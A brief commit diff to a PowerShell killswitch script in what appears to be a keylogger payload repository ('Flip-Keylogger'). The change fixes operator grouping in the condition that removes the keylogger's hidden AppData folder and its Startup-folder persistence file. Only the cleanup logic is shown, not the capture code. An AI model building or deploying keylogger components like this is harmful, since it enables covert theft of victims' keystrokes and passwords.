Update exit.ps1

Payloads/Flip-Keylogger/exit.ps1

@@ -4,7 +4,7 @@ $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCt
 $Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
 
 while($true){
-if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt") -or $Rctrl -and $Lctrl){
+if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
 sleep 10
 Remove-Item "$env:appdata\-locker" -Recurse -Force;
 Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"